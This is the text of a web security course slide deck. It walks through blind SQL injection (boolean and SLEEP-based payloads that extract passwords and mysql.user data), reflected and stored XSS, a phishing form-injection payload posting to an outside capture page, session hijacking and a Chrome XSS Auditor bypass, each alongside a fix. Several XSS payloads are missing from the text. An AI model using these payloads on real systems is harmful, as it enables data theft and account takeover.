  • 32. Display user info - EXPLOIT Boolean-Based Blind Injections “Smarter” Brute Force - Step 2 ver.0 Now that we have the length, we can bruteforce on strings of that length Uppercase and Lowercase Query: SELECT * FROM users WHERE id=$id Payload: 1 AND password=”aaaaaaaa” 1 AND password=”aaaaaaab” …
  • 33. Display user info - EXPLOIT Boolean-Based Blind Injections Smarter Brute Force (linear search) - Step 2 ver.1 If we have the length, we can slice the password and find each character by itself We go from 94^8 to 94*8 (case-insensitive printable ASCII characters except space) Query: SELECT * FROM users WHERE id=$id Payload: 1 AND MID(password,1,1)=”a” 1 AND MID(password,1,1)=”b” …
  • 34. Display user info - EXPLOIT Boolean-Based Blind Injections Smarter Brute Force (binary search) - Step 2 ver.2 Since ASCII is sorted, we can binary search it O(n) to O(log(n)) and that kind of weird stuff… bottom line: it’s faster than linear search Query: SELECT * FROM users WHERE id=$id Payload: 1 AND ORD(MID(password,1,1))>64 1 AND ORD(MID(password,1,1))>96 …
  • 35. Display user info - EXPLOIT Boolean-Based Blind Injections But what if you wanted to extract data from another table? Nested queries Query: SELECT * FROM users WHERE id=$id Payload: 1 AND ORD(MID( (SELECT user FROM mysql.user LIMIT 0,1) ,1,1))>64 1 AND ORD(MID( (SELECT user FROM mysql.user LIMIT 0,1) ,1,1))>96
  • 36. Login Form Let’s refine our login form to really keep track of logged users 1. start_session(); 2. $_SESSION[‘user’] = $user; 3. $_SESSION[‘id’] = $row[‘id’]; 4. echo “Welcome {$_SESSION[‘user’]}!”;
  • 37. Private Messaging System Create a Message table CREATE TABLE websec.messages ( id int NOT NULL AUTO_INCREMENT, from_id int NOT NULL, to_id int NOT NULL, content varchar(255), PRIMARY KEY (id), FOREIGN KEY (from_id) REFERENCES websec.users(id), FOREIGN KEY (to_id) REFERENCES websec.users(id) );
  • 38. Private Messaging System Select all received messages by the logged user (the “elegant” way) SELECT m.id AS “id”; u1.username AS “from”, u2.username AS “to”, m.content FROM messages m INNER JOIN users u1 ON m.from_id=u1.id INNER JOIN users u2 ON m.to_id=u2.id WHERE m.to_id={ $_SESSION[‘id’] } // we need start_session() in this
  • 39. Private Messaging System Insert a message (being logged as Arthur, id is 1) Time-based Blind Injection Query: INSERT INTO websec.messages (from_id, to_id, content) VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’); Payload: 2 INSERT INTO websec.messages (from_id, to_id, content) VALUES (1, 2, ‘Hi Ford!’)
  • 40. Private Messaging System - EXPLOIT Inserting a message (being logged as Arthur, id is 1) Time-based Blind Injection Query: INSERT INTO websec.messages (from_id, to_id, content) VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’); Payload: SLEEP(10) INSERT INTO websec.messages (from_id, to_id, content) VALUES (1, SLEEP(10), ‘Hi Ford!’)
  • 41. Private Messaging System - EXPLOIT Inserting a message (being logged as Arthur, id is 1) Time-based Blind Injection Query: INSERT INTO websec.messages (from_id, to_id, content) VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’); Payload: IF ( ORD(MID((SELECT user FROM mysql.user LIMIT 0,1) ,1,1))>64, SLEEP(10), SLEEP(0) ) INSERT INTO websec.messages (from_id, to_id, content) VALUES (1, IF..., ‘Hi Ford!’)
  • 42. Handling passwords in your DB Plaintext passwords Attackers can steal login credentials Ciphered passwords (but how?) MD5 Tool: John the Ripper Can be guessed using Dictionary Attack Easily “reversible” Collision Attack SHA-1
  • 43. Private Messaging System - FIX Context awareness (we’re sanitizing integers as strings) mysql_real_escape_string does not escape non-string arguments but we can still “cast” a value to Integer $safe_id = (int)$id Completely avoid mixing Code and Data Prepared Statements Prepare a query $stmt = $con->prepare(“SELECT * FROM users WHERE id=?”);
  • 44. Recap Server-side attacks SQL Injection Stacked queries Login Bypass “Always True” clause UNION Based SQL Injection Error Based SQL Injection
  • 45. So we’re done! ... right? We avoided server-side attacks! Yay! … but what about the users? Remember that “Read GET parameters” slide? Did we see a “Read GET parameters - EXPLOIT”? “How can we exploit such a simple script?”
  • 46. Read GET parameters - EXPLOIT XSS Reflected (a.k.a. “why would I ever attack myself?”) You may use the Simple HTML Form, if you wish (and please, use Firefox for this part) Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 47. Read GET parameters - EXPLOIT XSS Reflected We can try adding some HTML to our parameters and see if the page renders it Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: <i>John</i>
  • 48. Read GET parameters - EXPLOIT XSS Reflected Form Injection By adding custom HTML, we can try and go for a Phishing Attack Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: <form action=”http://www.mysite.it/capture_page.php”>
  • 49. Read GET parameters - EXPLOIT XSS Reflected That was nice, but let’s see how far we can go! Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 50. Read GET parameters - EXPLOIT XSS Reflected That “1” wasn’t so exciting, is there anything important we can display from the DOM? Remember your “HTTP is Stateless” mantra? What makes it Stateful? Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 51. Read GET parameters - EXPLOIT XSS Reflected Reading cookies is cool! But what about making the page perform some action? Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 52. Read GET parameters - EXPLOIT XSS Reflected Session Hijack (stealing cookies) I could send my* cookies somewhere! *Cookies may actually not be mine. Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 53. Read GET parameters - EXPLOIT XSS Reflected Session Hijack (covert) But can’t we do it without redirection? Code: $firstname = $_POST[‘firstname’]; $lastname = $_POST[‘lastname’]; echo “Hello $firstname $lastname!”; Payload: firstname: John
  • 54. Read GET parameters - FIX Block <script> tags We could just remove the “script” tags, so that no JavaScript code can be executed! Code: $firstname = preg_replace("/script/i", "", $_POST[‘firstname’]); $lastname = preg_replace("/script/i", "", $_POST[‘lastname’]); echo “Hello $firstname $lastname!”; Payload:
  • 55. Read GET parameters - EXPLOIT XSS Reflected - Bypass <script> tags block Can we ONLY insert JavaScript code in <script> tags? Not ONLY that: HTML elements have on* attributes (onload, onerror, … ) Code: $firstname = preg_replace("/script/i", "", $_POST[‘firstname’]); $lastname = preg_replace("/script/i", "", $_POST[‘lastname’]); echo “Hello $firstname $lastname!”; Payload:
  • 56. Read GET parameters - FIX XSS Reflected - Chrome XSS Auditor Why did we have to work on Firefox? Can’t we work on Chrome? Code: $firstname = preg_replace("/script/i", "", $_POST[‘firstname’]); $lastname = preg_replace("/script/i", "", $_POST[‘lastname’]); echo “Hello $firstname $lastname!”; Payload:
  • 57. Read GET parameters - EXPLOIT XSS Reflected - Bypassing Chrome XSS Auditor Chrome only checks if a parameter appears in the HTML Body too If it appears in a parameter and in the body, Chrome blocks its execution Code: $firstname = preg_replace("/script/i", "", $_POST[‘firstname’]); $lastname = preg_replace("/script/i", "", $_POST[‘lastname’]); echo “Hello $firstname $lastname!”; Payload:
  • 58. Read GET parameters - EXPLOIT XSS Reflected - Bypassing Chrome XSS Auditor Chrome only checks if a parameter appears in the HTML Body too It checks for each parameter, but doesn’t cross-check! ( … pun intended) Code: $firstname = $_POST[‘firstname’]; // removing script is useless … $lastname = $_POST[‘lastname’]; // no need for it now echo “Hello $firstname $lastname!”; Payload:
  • 59. Private Messaging System - EXPLOIT XSS Stored Chrome XSS Auditor won’t work here, it only checks for GET parameters Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”; // Next level HTML formatting :V Payload: | id | from | to | content | | 2 | Ford | Arthur | Hi Arthur! How are you? |
  • 60. Private Messaging System - EXPLOIT XSS Stored A simple XSS: this one is just annoying, not really malicious Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”; Payload: | id | from | to | content | | 2 | Ford | Arthur | Hi Arthur! How are you? |
  • 61. Private Messaging System - EXPLOIT XSS Stored iFrame Injection Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”; Payload: | id | from | to | content | | 2 | Ford | Arthur | Hi Arthur! How are you? |
  • 62. Private Messaging System - FIX htmlspecialchars($string, ENT_QUOTES, 'UTF-8') We have to sanitize all outputs to the client Code: $from = htmlspecialchars($row[‘from’]); $content = htmlspecialchars($row[‘content’]); echo “From: <b>$from</b> &lt; $content”; Payload: | id | from | to | content | | 2 | Ford |
  • 63. Recap Server-side attacks SQL Injection Stacked queries Login Bypass “Always True” clause UNION Based SQL Injection Error Based SQL Injection Client-side attacks XSS XSS Reflected Form Injection Session Hijack Session Hijack (covert) Bypass XSS Auditor